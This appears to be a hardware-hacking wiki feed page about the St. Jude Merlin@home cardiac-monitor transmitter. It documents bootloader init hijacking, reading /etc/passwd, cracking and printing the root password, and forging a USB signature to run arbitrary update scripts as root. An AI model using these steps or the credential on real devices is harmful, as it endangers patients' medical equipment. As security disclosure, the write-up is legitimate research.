&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;#!/bin/sh&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;#!/bin/sh&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;function led_off {&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;function led_off {&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2744&amp;oldid=prev</id>
		<title>Zenofex: Zenofex moved page SJM merlin at home to SJM Merlin at Home</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2744&amp;oldid=prev"/>
		<updated>2017-08-05T06:36:46Z</updated>

		<summary type="html">&lt;p&gt;Zenofex moved page &lt;a href=&quot;/index.php?title=SJM_merlin_at_home&quot; class=&quot;mw-redirect&quot; title=&quot;SJM merlin at home&quot;&gt;SJM merlin at home&lt;/a&gt; to &lt;a href=&quot;/index.php?title=SJM_Merlin_at_Home&quot; title=&quot;SJM Merlin at Home&quot;&gt;SJM Merlin at Home&lt;/a&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 06:36, 5 August 2017&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-notice&quot; lang=&quot;en&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(No difference)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</summary>
		<author><name>Zenofex</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2702&amp;oldid=prev</id>
		<title>Rjmendez at 01:48, 15 May 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2702&amp;oldid=prev"/>
		<updated>2017-05-15T01:48:56Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;a href=&quot;https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;amp;diff=2702&amp;amp;oldid=2701&quot;&gt;Show changes&lt;/a&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2701&amp;oldid=prev</id>
		<title>Rjmendez: SJM Merlin@home model EX1150</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2701&amp;oldid=prev"/>
		<updated>2017-05-14T19:20:57Z</updated>

		<summary type="html">&lt;p&gt;SJM Merlin@home model EX1150&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;__FORCETOC__&lt;br /&gt;
{{Disclaimer}}&lt;br /&gt;
[[File:Merlin-at-home-1.jpg|100px|left|thumb]]&lt;br /&gt;
[[Category:Medical]]&lt;br /&gt;
This page will be dedicated to a general overview, descriptions, and information related to the St. Jude Medical Merlin@home Transmitter Model EX1150.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
The Merlin@home Transmitter is intended to pair with an Implantable Cardiac Defibrillator (ICD) or Pacemaker and upload the data to the Merlin.net patient care network for review by a physician.&lt;br /&gt;
&lt;br /&gt;
== Disassembly ==&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Merlin-front.jpg&lt;br /&gt;
File:Merlin-back.jpg&lt;br /&gt;
File:Merlin-side_usb.jpg&lt;br /&gt;
File:Merlin-antenna1.jpg&lt;br /&gt;
File:Merlin-antenna2.jpg&lt;br /&gt;
File:Merlin-uart.jpg&lt;br /&gt;
File:Merlin-uart2.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UART ==&lt;br /&gt;
A Login Console is presented on UART (3.3v) at 115200 baud. The pinout for UART can be found below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Merlin-uart.jpg&lt;br /&gt;
File:Merlin-uart2.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
This device boots with the BLOB bootloader (https://sourceforge.net/projects/blob/) to a version of Montavista Linux (https://en.wikipedia.org/wiki/MontaVista) with a restricted root login. It is possible to init hijack by interrupting the bootloader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Post device verification...&lt;br /&gt;
Serial2In string: ATi0&lt;br /&gt;
Serial2In string: &lt;br /&gt;
56000&lt;br /&gt;
Modem Post : Passed with retries = 0&lt;br /&gt;
&lt;br /&gt;
Time taken by POST : [1.197000] seconds&lt;br /&gt;
nand_init: manuf=0x000000EC  device=0x000000F1&lt;br /&gt;
scanning for bad blocks...&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x02B40000&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x04B20000&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x07660000&lt;br /&gt;
&lt;br /&gt;
Consider yourself BLOBed!&lt;br /&gt;
&lt;br /&gt;
blob version 2.0.5-pre2 for Tanto Basic Device&lt;br /&gt;
Copyright (C) 1999 2000 2001 Jan-Derk Bakker and Erik Mouw&lt;br /&gt;
blob comes with ABSOLUTELY NO WARRANTY; read the GNU GPL for details.&lt;br /&gt;
This is free software, and you are welcome to redistribute it&lt;br /&gt;
under certain conditions; read the GNU GPL for details.&lt;br /&gt;
blob release: d20081014_platform_4_16&lt;br /&gt;
Memory map:&lt;br /&gt;
  0x02000000 @ 0xc0000000 (32 MB)&lt;br /&gt;
&lt;br /&gt;
ram_post executing...&lt;br /&gt;
Data Bus Test&lt;br /&gt;
Address Bus Test&lt;br /&gt;
Data Qualifer Test&lt;br /&gt;
Device Test&lt;br /&gt;
c0200000status_next, board type = RF board revision =  (3)&lt;br /&gt;
c1e00000r14_svc = 0x0000034d&lt;br /&gt;
Autoboot in progress, press any key to stop ..&lt;br /&gt;
Autoboot aborted&lt;br /&gt;
Type &amp;quot;help&amp;quot; to get a list of commands&lt;br /&gt;
blob&amp;gt; boot console=ttyMX0,115200n8 root=/dev/mtdblock6 ip=dhcp init=/bin/sh BOARD_REVISION=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We can pull some useful information from the device.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sh-2.05a# cat /etc/passwd&lt;br /&gt;
root:0q8h1Maw1oYAU:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:*:1:1:bin:/bin:&lt;br /&gt;
daemon:*:2:2:daemon:/usr/sbin:&lt;br /&gt;
sys:*:3:3:sys:/dev:&lt;br /&gt;
adm:*:4:4:adm:/var/adm:&lt;br /&gt;
lp:*:5:7:lp:/var/spool/lpd:&lt;br /&gt;
sync:*:6:8:sync:/bin:/bin/sync&lt;br /&gt;
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:*:8:10:halt:/sbin:/sbin/halt&lt;br /&gt;
mail:*:9:11:mail:/var/spool/mail:&lt;br /&gt;
news:*:10:12:news:/var/spool/news:&lt;br /&gt;
uucp:*:11:13:uucp:/var/spool/uucp:&lt;br /&gt;
operator:*:12:0:operator:/root:&lt;br /&gt;
games:*:13:100:games:/usr/games:&lt;br /&gt;
ftp:*:15:14:ftp:/var/ftp:&lt;br /&gt;
man:*:16:100:man:/var/cache/man:&lt;br /&gt;
www:*:17:100:www:/var/www:&lt;br /&gt;
sshd:*:18:100:sshd:/var/run/sshd:&lt;br /&gt;
nobody:*:65534:65534:nobody:/home:/bin/sh&lt;br /&gt;
sh-2.05a# cat /etc/shadow&lt;br /&gt;
cat: /etc/shadow: No such file or directory&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets break this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;E:\hashcat-3.5.0&amp;gt;hashcat64.exe --session sjm_hash -w 3 -m 1500 e:\sjm_hash -a 3 ?a?a?a?a?a?a?a&lt;br /&gt;
hashcat (v3.5.0) starting...&lt;br /&gt;
&lt;br /&gt;
* Device #1: WARNING! Kernel exec timeout is not disabled.&lt;br /&gt;
             This may cause &amp;quot;CL_OUT_OF_RESOURCES&amp;quot; or related errors.&lt;br /&gt;
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch&lt;br /&gt;
OpenCL Platform #1: NVIDIA Corporation&lt;br /&gt;
======================================&lt;br /&gt;
* Device #1: GeForce GTX 980, 1024/4096 MB allocatable, 16MCU&lt;br /&gt;
&lt;br /&gt;
OpenCL Platform #2: Intel(R) Corporation&lt;br /&gt;
========================================&lt;br /&gt;
* Device #2: Intel(R) Core(TM) i5-4570 CPU @ 3.20GHz, skipped.&lt;br /&gt;
&lt;br /&gt;
Hashes: 1 digests; 1 unique digests, 1 unique salts&lt;br /&gt;
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates&lt;br /&gt;
&lt;br /&gt;
Applicable optimizers:&lt;br /&gt;
* Zero-Byte&lt;br /&gt;
* Precompute-Final-Permutation&lt;br /&gt;
* Not-Iterated&lt;br /&gt;
* Single-Hash&lt;br /&gt;
* Single-Salt&lt;br /&gt;
* Brute-Force&lt;br /&gt;
&lt;br /&gt;
Watchdog: Temperature abort trigger set to 90c&lt;br /&gt;
Watchdog: Temperature retain trigger set to 75c&lt;br /&gt;
&lt;br /&gt;
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0q8h1Maw1oYAU:mah1200&lt;br /&gt;
&lt;br /&gt;
Session..........: sjm_hash&lt;br /&gt;
Status...........: Cracked&lt;br /&gt;
Hash.Type........: descrypt, DES (Unix), Traditional DES&lt;br /&gt;
Hash.Target......: 0q8h1Maw1oYAU&lt;br /&gt;
Time.Started.....: Sun May 07 17:39:55 2017 (9 secs)&lt;br /&gt;
Time.Estimated...: Sun May 07 17:40:04 2017 (0 secs)&lt;br /&gt;
Guess.Mask.......: ?a?a?a?a?a?a?a [7]&lt;br /&gt;
Guess.Queue......: 1/1 (100.00%)&lt;br /&gt;
Speed.Dev.#1.....:   544.7 MH/s (60.44ms)&lt;br /&gt;
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts&lt;br /&gt;
Progress.........: 4764729344/69833729609375 (0.01%)&lt;br /&gt;
Rejected.........: 0/4764729344 (0.00%)&lt;br /&gt;
Restore.Point....: 0/81450625 (0.00%)&lt;br /&gt;
Candidates.#1....: ;~9anan -&amp;gt; $sb~{ka&lt;br /&gt;
HWMon.Dev.#1.....: Temp: 67c Fan: 33% Util: 99% Core:1404MHz Mem:3004MHz Bus:16&lt;br /&gt;
&lt;br /&gt;
Started: Sun May 07 17:39:51 2017&lt;br /&gt;
Stopped: Sun May 07 17:40:05 2017&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attempts to login as root fail, what was going on with that operator user?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;operator:*:12:0:operator:/root:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets set the password to &amp;quot;test&amp;quot; and attempt logging in.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sh-2.05a# grep &amp;quot;operator&amp;quot; /etc/passwd&lt;br /&gt;
operator:dPUvQFLH8...A:12:0:operator:/root:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[SJM_CONFIGURATION]&lt;br /&gt;
VERSION=EX2000 v6.1B PR_6.56&lt;br /&gt;
(none) login: root&lt;br /&gt;
Password: &lt;br /&gt;
Login incorrect&lt;br /&gt;
2017-05-14 &lt;br /&gt;
(none) login: operator&lt;br /&gt;
Password: &lt;br /&gt;
operator@(none):~$ whoami&lt;br /&gt;
operator&lt;br /&gt;
operator@(none):~$ su root&lt;br /&gt;
Password: &lt;br /&gt;
PAM_unix[266]: (su) session opened for user root by (uid=12)&lt;br /&gt;
root@(none):~# whoami&lt;br /&gt;
root&lt;br /&gt;
root@(none):~# &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Taking Things Further ==&lt;br /&gt;
&lt;br /&gt;
Lets look at some of these custom hotplug scripts. /etc/hotplug/usb/sjmusb looks like a good start.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/bash&lt;br /&gt;
#&lt;br /&gt;
#  Script to mount valid sjm pendrive(s) via hotplug. Hotplug will invoke &lt;br /&gt;
#  this script only if the attached USB device is a mass-storage device.&lt;br /&gt;
#  hotplug does this by looking at the device class of the attached usb device&lt;br /&gt;
#  See /etc/hotplug/usb.usermap. The device class for mass storage devices&lt;br /&gt;
#  is  ______&lt;br /&gt;
# &lt;br /&gt;
#  In a nutshell, the script looks in /proc/scsi/usb-storage* directory to&lt;br /&gt;
#  find the scsi ID of the attached USB storage device. It then goes on to&lt;br /&gt;
#  find the device node corresponding to this scsi ID.&lt;br /&gt;
#  &lt;br /&gt;
# version 1.1 - Added USB signature check functionality &lt;br /&gt;
#&lt;br /&gt;
# For the new cellular adapters - viz mobidata and velocity, ignore the&lt;br /&gt;
# mass storage interface reported. Please see comments at the top of&lt;br /&gt;
# /etc/hotplug/usb/velocity for details.&lt;br /&gt;
#&lt;br /&gt;
#   - Ashok Iyer (16-Jun-2010)&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
export PATH=/usr/bin:/usr/local/bin:$PATH&lt;br /&gt;
&lt;br /&gt;
MOUNT_PATH=&amp;quot;/mnt/sjmpendrives&amp;quot;&lt;br /&gt;
MOUNT_NUMBER=1&lt;br /&gt;
LOG_FILE=&amp;quot;/tmp/usbstorage.log&amp;quot;&lt;br /&gt;
SGMAP=&amp;quot;sg_map&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# The functions in this script rely on &amp;quot;echo&amp;quot; to pass information to each&lt;br /&gt;
# other. If you need to modify this script, do not use &amp;quot;echo&amp;quot; for debugging.&lt;br /&gt;
# Instead use the feedback()/error_exit() functions below. These will log &lt;br /&gt;
# information to a log file and do not interfere with information passing &lt;br /&gt;
# between functions.&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
function check_sign {&lt;br /&gt;
    local node1=$1&amp;quot;1&amp;quot;&lt;br /&gt;
    feedback &amp;quot;Checking signature ... &amp;quot;&lt;br /&gt;
    feedback &amp;quot;node1 = $node1&amp;quot;&lt;br /&gt;
    dd if=$node1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
    signature=`cat /tmp/.sign` &lt;br /&gt;
&lt;br /&gt;
    if [ &amp;quot;$signature&amp;quot; = &amp;quot;SJM&amp;quot; ]; then&lt;br /&gt;
	feedback &amp;quot;Valid pendrive&amp;quot;&lt;br /&gt;
	echo 0&lt;br /&gt;
    else&lt;br /&gt;
	feedback &amp;quot;Invalid pendrive&amp;quot;&lt;br /&gt;
	echo -1&lt;br /&gt;
    fi&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
# We only mount the first partition of a USB storage device. There is no &lt;br /&gt;
# requirement to mount multiple partitions. Makes the job easy :-)&lt;br /&gt;
function mount_scsi_dev {&lt;br /&gt;
    local scsi_dev=$1&lt;br /&gt;
    local mountpt=&amp;quot;&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
    # check if the first partition of the device is mounted &lt;br /&gt;
    if ! mount | egrep -q &amp;quot;^$scsi_dev&amp;quot;1&amp;quot;[[:space:]]&amp;quot; &lt;br /&gt;
    then&lt;br /&gt;
        mountpt=$(find_unused_mountpt) || error_exit &amp;quot;Failed to find a mount pt&amp;quot;&lt;br /&gt;
        mkdir -p &amp;quot;$mountpt&amp;quot; || error_exit &amp;quot;Failed to create mount pt $mountpt&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	# FIXME- Ugly hack to detect partitions on USB flash drive&lt;br /&gt;
	# Possible bug in Kernel and/or devfs. Either use devfs=nomount kernel cmdline&lt;br /&gt;
        # or fix devfs once and for all.&lt;br /&gt;
        # There is another problem in devfs that after the USB flash disk is removed&lt;br /&gt;
        # the corresponding devfs partitions (part1, part2 etc...) still show up. &lt;br /&gt;
	foobar=`ls -l $scsi_dev | awk &amp;#039;{print $11}&amp;#039;`&lt;br /&gt;
	dd if=/dev/$foobar of=/dev/null bs=1 count=1 &lt;br /&gt;
	&lt;br /&gt;
	# Checking USB signature&lt;br /&gt;
	ret=`check_sign $scsi_dev`	&lt;br /&gt;
	if [ $ret -eq 0 ]; then&lt;br /&gt;
		feedback &amp;quot;Valid pendrive&amp;quot;&lt;br /&gt;
	else&lt;br /&gt;
		# Tanto: Inform the Exec App to show &lt;br /&gt;
		# an Invalid Media Error&lt;br /&gt;
		if [ -p /tmp/remoteInt.pipe ]; then&lt;br /&gt;
			echo &amp;quot;UsbHotplug InvalidMedia&amp;quot; &amp;gt; /tmp/remoteInt.pipe&lt;br /&gt;
			error_exit &amp;quot;Invalid pendrive&amp;quot;&lt;br /&gt;
		else&lt;br /&gt;
			echo &amp;quot;ERROR: /tmp/remoteInt.pipe does not exist!!!&amp;quot;&lt;br /&gt;
		fi&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
        feedback &amp;quot;Mounting $scsi_dev&amp;quot;1&amp;quot; on $mountpt&amp;quot;&lt;br /&gt;
        mount -t auto $scsi_dev&amp;quot;1&amp;quot; $mountpt&lt;br /&gt;
        if [ &amp;quot;$?&amp;quot; -eq 0 ]; then&lt;br /&gt;
            feedback &amp;quot;$scsi_dev&amp;quot;1&amp;quot; is now mounted on $mountpt&amp;quot;&lt;br /&gt;
	    feedback &amp;quot;Launch application specific script&amp;quot;	&lt;br /&gt;
	    sh /etc/launch_appln.sh $mountpt&lt;br /&gt;
        else&lt;br /&gt;
            feedback &amp;quot;Mount error for $scsi_dev&amp;quot;&lt;br /&gt;
        fi&lt;br /&gt;
    else&lt;br /&gt;
        feedback &amp;quot;Ignoring $scsi_dev - already mounted&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
}&lt;br /&gt;
  &lt;br /&gt;
# Find and mount all attached USB storage devices&lt;br /&gt;
function mount_all_attached {&lt;br /&gt;
    local scsiuniqid=&amp;quot;&amp;quot;&lt;br /&gt;
    feedback &amp;quot;Find and mount all attached usb storage devices&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    for scsiuniqid in $(allusb_scsiuniqid)&lt;br /&gt;
    do&lt;br /&gt;
        local scsidev=&amp;quot;`diskdev_from_uniqid $scsiuniqid`&amp;quot;&lt;br /&gt;
        if [ &amp;quot;$scsidev&amp;quot; == &amp;quot;UNKNOWN&amp;quot; ]; then&lt;br /&gt;
            sleep 1&lt;br /&gt;
        fi&lt;br /&gt;
        mount_scsi_dev $scsidev&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# The remover script will be invoked when the device is removed. This is&lt;br /&gt;
# useless in a way because umount will have no effect. The only benefit is&lt;br /&gt;
# that the &amp;quot;mount&amp;quot; command will not show stale entries.&lt;br /&gt;
&lt;br /&gt;
# FIXME - Need to add specialized LOGIC to selectively umount USB flash drive &lt;br /&gt;
# which is removed ( unlike umounting all attached USB flash drives )&lt;br /&gt;
feedback &amp;quot;REM = $REMOVER&amp;quot;&lt;br /&gt;
if [ -f $REMOVER ]; then&lt;br /&gt;
    echo &amp;#039;/bin/umount /mnt/sjmpendrives/*&amp;#039; &amp;gt;&amp;gt; $REMOVER&lt;br /&gt;
else&lt;br /&gt;
    echo -e &amp;#039;#!/bin/sh\n/bin/umount /mnt/sjmpendrives/*&amp;#039; &amp;gt; $REMOVER&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
# Inform the Export data script when pendrive is unplugged.&lt;br /&gt;
echo -e &amp;#039;\nps -A | grep export_data \nif [ $? -eq 0 ]; then \n\tif [ -p /tmp/usbDataExport.pipe ]; then \n\t\t echo &amp;quot;Hotplug umount&amp;quot; &amp;gt; /tmp/usbDataExport.pipe \n\tfi\nfi&amp;#039; &amp;gt;&amp;gt; $REMOVER&lt;br /&gt;
chmod a+x $REMOVER&lt;br /&gt;
&lt;br /&gt;
mount_all_attached&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets look inside of /etc/launch_appln.sh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ]; then&lt;br /&gt;
        echo &amp;quot;usage: ./launch_appln.sh /mnt/pendrive&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
# FIXME  &lt;br /&gt;
# This script may be invoked by hotplug &lt;br /&gt;
# Do not run the script if it is already running &lt;br /&gt;
# updater or data export&lt;br /&gt;
&lt;br /&gt;
mountpt=$1&lt;br /&gt;
script_path=/apps/tanto/&lt;br /&gt;
&lt;br /&gt;
if [ -f $mountpt/version.ini ]; then&lt;br /&gt;
	# call updater script&lt;br /&gt;
	echo &amp;quot;Launching updater script&amp;quot;&lt;br /&gt;
	if [ -f $mountpt/etc/init.d/upgrade_script.sh ]; then&lt;br /&gt;
		sh $mountpt/etc/init.d/upgrade_script.sh $mountpt &amp;gt; /tmp/debugUpdater.txt 2&amp;gt;&amp;amp;1&lt;br /&gt;
		umount /mnt/sjmpendrives/1&lt;br /&gt;
		umount /mnt/pendrive&lt;br /&gt;
	else&lt;br /&gt;
		umount /mnt/sjmpendrives/1&lt;br /&gt;
		umount /mnt/pendrive&lt;br /&gt;
		exit 0&lt;br /&gt;
	fi&lt;br /&gt;
else&lt;br /&gt;
	# Call Data export script&lt;br /&gt;
	echo &amp;quot;Launching export data script&amp;quot;&lt;br /&gt;
	sh $script_path/export_data.sh $mountpt&lt;br /&gt;
    umount /mnt/sjmpendrives/1&lt;br /&gt;
    umount /mnt/pendrive&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It looks like their pendrive &amp;quot;signature&amp;quot; is fairly easy to get around.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00116472 s, 2.6 kB/s&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign &lt;br /&gt;
00000000  00 00 00                                          |...|&lt;br /&gt;
00000003&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ hd .sign_mod&lt;br /&gt;
00000000  53 4a 4d                                          |SJM|&lt;br /&gt;
00000003&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00700994 s, 0.4 kB/s&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
3+0 records in&lt;br /&gt;
3+0 records out&lt;br /&gt;
3 bytes copied, 0.00123249 s, 2.4 kB/s&lt;br /&gt;
rjmendez@Reggie:~/stjude_merlin$ hd /tmp/.sign &lt;br /&gt;
00000000  53 4a 4d                                          |SJM|&lt;br /&gt;
00000003&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Adding the required files to the drive and a small script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ ls -lahR&lt;br /&gt;
.:&lt;br /&gt;
total 36K&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 14 11:04 .&lt;br /&gt;
drwxr-x---+ 8 root     root     4.0K May 14 11:02 ..&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 13 14:02 etc&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez  620 May 14 06:01 passwd&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez    4 May 10 17:07 version.ini&lt;br /&gt;
&lt;br /&gt;
./etc:&lt;br /&gt;
total 24K&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 .&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 14 11:04 ..&lt;br /&gt;
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 init.d&lt;br /&gt;
&lt;br /&gt;
./etc/init.d:&lt;br /&gt;
total 24K&lt;br /&gt;
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 .&lt;br /&gt;
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 ..&lt;br /&gt;
-rw-r--r-- 1 rjmendez rjmendez  771 May 13 18:27 upgrade_script.sh&lt;br /&gt;
&lt;br /&gt;
rjmendez@Reggie:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
function led_off {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b0&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function led_dim {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b1&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function led_bright {&lt;br /&gt;
    for i in `seq 0 7`;&lt;br /&gt;
    do&lt;br /&gt;
        ledControl -l$i -b2&lt;br /&gt;
		sleep 0.05&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function party_mode {&lt;br /&gt;
    counter=0&lt;br /&gt;
    while [ $counter -lt $1 ];&lt;br /&gt;
    do&lt;br /&gt;
        led_off&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        led_dim&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        led_bright&lt;br /&gt;
        sleep 0.05&lt;br /&gt;
        let counter=counter+1&lt;br /&gt;
    done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/tantoapp stop&lt;br /&gt;
#cp /mnt/sjmpendrives/1/passwd /etc/passwd&lt;br /&gt;
echo &amp;quot;This worked!&amp;quot; &amp;gt; /root/diditwork.txt&lt;br /&gt;
if [ -f /root/diditwork.txt ];&lt;br /&gt;
then&lt;br /&gt;
    party_mode 15&lt;br /&gt;
else&lt;br /&gt;
    echo &amp;quot;It did not work...&amp;quot;&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is the output that we get from the console.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;operator@(none):~$ su root&lt;br /&gt;
Password: &lt;br /&gt;
PAM_unix[265]: (su) session opened for user root by (uid=12)&lt;br /&gt;
root@(none):~# hub.c: new USB device usb-mx2hci-2, assigned address 2&lt;br /&gt;
scsi0 : SCSI emulation for USB Mass Storage devices&lt;br /&gt;
  Vendor: Lexar     Model: USB Flash Drive   Rev: 1100&lt;br /&gt;
  Type:   Direct-Access                      ANSI SCSI revision: 02&lt;br /&gt;
